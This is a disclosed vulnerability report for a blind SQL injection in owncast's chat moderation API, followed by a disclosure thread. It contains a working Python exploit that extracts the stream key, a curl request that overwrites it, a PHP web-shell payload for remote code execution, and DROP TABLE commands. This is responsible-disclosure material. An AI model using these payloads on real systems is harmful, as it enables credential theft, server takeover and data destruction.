Moderators can perform Time based SQL injection attack. in owncast/owncast

Valid

Reported on

Oct 12th 2022


The API endpoint /api/chat/users/setenabled (POST) is vulnerable to a Time based blind SQL injection attack via body parameter ‘userId’. It allows a Moderator to read, modify or delete the entries in the sqlite database. Moderator can leak the stream_key to access admin dashboard.

Proof of concept

Scenario 1 - Exfiltrate stream_key

Access token of a moderator can be used here.

# tested on Python 3.6.9
# Ajmal Moochingal 
# https://moochi.tech

import requests, json
from requests.exceptions import ReadTimeout

TIMEOUT = 4 # seconds
ACCESS_TOKEN = 
HOST = 

def calldb(query):
    ENDPOINT = "/api/chat/users/setenabled"
    url = HOST + ENDPOINT +"?accessToken=" + ACCESS_TOKEN
    headers = {
        "Connection" : "close",
        "Content-type" : "application/json",
    }
    body = {
        "userId" : "8CTMIMI4R'; "+query+"--",
        "enabled" : False
    }
    try:
        r = requests.post(url, data=json.dumps(body), headers=headers, timeout=TIMEOUT)
        return False    # failed hit
    except ReadTimeout: # successful hit
        return True


# warming up
test_query = "select value from datastore where key>0 AND 1=RANDOMBLOB(30000000/2)"

if calldb(test_query):
    print('sqli is working.')

charset = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']

leak = ''
pos = 9 # first 8 characters is blob metadata
_pos = pos-1
while True:
    if _pos == pos:
        break
    print("trying to leak character at position : ", pos - 8)
    _pos += 1
    for char in charset:
        delay_query = "select case substr((select hex(value) from datastore where key = 'stream_key'),{pos},1) when '{char}' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1200000000/2)))) else 1 end".format(pos = pos, char = char )
        if calldb(delay_query):
            leak += char 
            print('leak: ', leak)
            pos += 1 
            break

print("stream_key is :",  bytes.fromhex(leak).decode('ascii'))

It might be required to run the code multiple times for perfect result, while tweaking the TIMEOUT.

Scenario 2 - Modifying stream_key

Before running the following curl command :

  1. Change the hostname to the correct host value, point to the right port.
  2. Change value of accessToken to the token value that corresponds to the current moderator user. (can be obtained from browser session storage)
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8080'  \
-H $'Content-Length: 122'  \
-H $'Content-Type: application/json'  \
-H $'Accept: */*'  \
-H $'Accept-Encoding: gzip, deflate'  \
-H $'Accept-Language: en-US,en;q=0.9'  \
-H $'Connection: close' \
--data-binary $'{\"userId\":\"8CTMIMI4R\'; UPDATE datastore set value = x\'0A0C00077065616E757473\' WHERE key = \'stream_key\'--\",\"enabled\":false}' \
$'http://localhost:8080/api/chat/users/setenabled?accessToken=0gs8sH3xjVXFlenDAG8nSRshsEdoKZNAKaJQ8Yrter0%3D'

The above command demonstrates a Moderator performing the attack to change stream_key to 'peanuts', since stream_key is cached in memory, it will require the application to restart to reflect the new credentials.

Alternate way to verify : Run the following query in the sqlite database store to print stream_key.

select hex(value) from datastore WHERE key = 'stream_key';

It should output the following value : 0A0C00077065616E757473 .

Scenario 3 - Remote Code Execution

The vulnerability could be exploited to write arbitrary files on the server using by crafting the following SQL query:

ATTACH DATABASE '/webroot/abcd.php' AS X; CREATE TABLE X.pwn (pwndata text); INSERT INTO X.pwn (pwndata) VALUES ("<?php system($_GET['cmd']); ?>")--

In an environment where PHP is installed, this will allow an attacker to perform Remote code execution by sending command via http://host.com/abcd.php?cmd=

Scenario 4 - Denial of Service

Moderator can craft the following SQL query to perform a Denial-of-Service attack. Caution: running the following query would wipe out respective tables in the database.

DROP table users; DROP table user_access_tokens; DROP table ip_bans; DROP table datastore;

Impact

  • Moderator could read, modify or delete all entries in the sqlite database using the vulnerability, this include stream_key, config and session tokens of other users.
  • Moderator could write arbitrary files in web root to escalate to perform Remote code execution.
  • With already 490+ forks on the repo now, it's likely that other forks are also impacted.

Likelihood: High. Any user with moderator privileges on the platform can perform the attack.

We are processing your report and will contact the owncast team within 24 hours. 2 months ago
M. Ajmal Moochingal modified the report
2 months ago
M. Ajmal Moochingal modified the report
2 months ago
M. Ajmal Moochingal modified the report
2 months ago
M. Ajmal Moochingal modified the report
2 months ago
M. Ajmal Moochingal modified the report
2 months ago
We have contacted a member of the owncast team and are waiting to hear back 2 months ago
2 months ago
We have sent a follow up to the owncast team. We will try again in 7 days. 2 months ago
We have sent a second follow up to the owncast team. We will try again in 10 days. a month ago
owncast/owncast maintainer has acknowledged this report a month ago
M.
a month ago

Researcher


Got in touch with the @maintainer. After discussing with the maintainer, submitted this PR for fix : https://github.com/owncast/owncast/pull/2257 @maintainer, could you please verify the security report, before merging the fix ?

Gabe Kangas validated this vulnerability a month ago
M. Ajmal Moochingal has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
a month ago
M.
a month ago

Researcher


Thanks @gabek. Can you mark that you've accepted the patch, and the fix is done. 'Status' still shows 'Awaiting Fix'

M.
a month ago

Researcher


The PR that got merged, for reference - https://github.com/owncast/owncast/pull/2257

Gabe Kangas marked this as fixed in 0.0.13 with commit 23b6e5 a month ago
M. Ajmal Moochingal has been awarded the fix bounty
This vulnerability will not receive a CVE
persistence.go#L312 has been validated
M.
a month ago

Researcher


Thanks again @gabek. Since the issue is fixed now, requesting to make the report public. @admin

Pavlos
a month ago

Admin


It's the maintainer that has to make the report public, I'm sure they'll be back to do this soon :)

Gabe Kangas
a month ago

Maintainer


I read somewhere that it should be fixed and released, and it is not currently released. I don't yet have a schedule for the next release of Owncast, as a new one was not planned at this time. There's a lot of work going on that needed to be finished before a release went out. It's possible a small release could be scheduled between now and then, but that isn't something I've been able to work out.

M.
a month ago

Researcher


@gabek I understand that it would be difficult to maintain an open source project. Most of the maintainers would be doing it during their spare time outside of their real job.

But at the same time people need to be informed also - that this vulnerability exists in their current running owncast instance - rather than giving a false sense of security. This would be the major reason behind publishing an advisory.

Currently, the 'moderator' feature is completely broken from a security perspective - 'moderators' could compromise the entire database, gain admin access, as well as perform code execution in certain cases as detailed in the report.

Owncast has 500+ forks currently & it's highly likely that other forks are also vulnerable.

So, IMO It make sense to have an intermediate minor release patching the security issue and release the advisory.

Thanks -Ajmal

M.
14 days ago

Researcher


37 days since initial disclosure, 23 days since the fix, 16 days since no further update from the maintainer @admin humble request to make the report public.

-Ajmal

Pavlos
14 days ago

Admin


Sorry M but we can't violate responsible disclosure... I'm sure the maintainer will publish a mini-release that patches your vulnerability in the near future... Give them a month please :)

Gabe Kangas
14 days ago

Maintainer


Sorry for the slowness. I'm preparing a small v0.0.13 release that I aim to release near the end of the week.

Gabe Kangas
8 days ago

Maintainer


Owncast v0.0.13 with this fix has been released. https://owncast.online/releases/owncast-0.0.13/

M.
6 days ago

Researcher


Thank you for your efforts, Gabe. The report is not yet public. It can be made public on huntr by maintainer.
Plus, the advisory could be tracked and listed under the 'Security' section in the owncast github repo.

Pavlos published this vulnerability 6 days ago
Pavlos
6 days ago

Admin


Great work everyone 🎉 I published manually because the publication stage no longer exists. Maintainers now publish their reports from the fix stage.

Gabe Kangas
6 days ago

Maintainer


I have a slightly unrelated question. I've had one CVE reported and fixed previously through Github. Since then it's always showed one open security vulnerability on my repository. I've tried everything to mark it as fixed, but it always shows one open issue. I'm afraid now it's going to show two unfixed, opened, issues forever. Is this accurate? How do I tell Github that these issues are resolved and are no longer open?

Pavlos
6 days ago

Admin


Hey Gabe! I don't know if Github makes GH advisories out of huntr vulnerabilities but regarding the existing one (if you're referring to this one), because there is a patched version it doesn't strike me as unresolved. Is it because there is a (1) notification on the UI?

Gabe Kangas
6 days ago

Maintainer


Yup! That's what I was curious about, and I was wondering if it was going to move to "2" open issues now. I understand this isn't really your problem, but maybe you'd have an answer anyway :)

Pavlos
6 days ago

Admin


I don't think it will move to 2... A maintainer's problems are our problems 😅

to join this conversation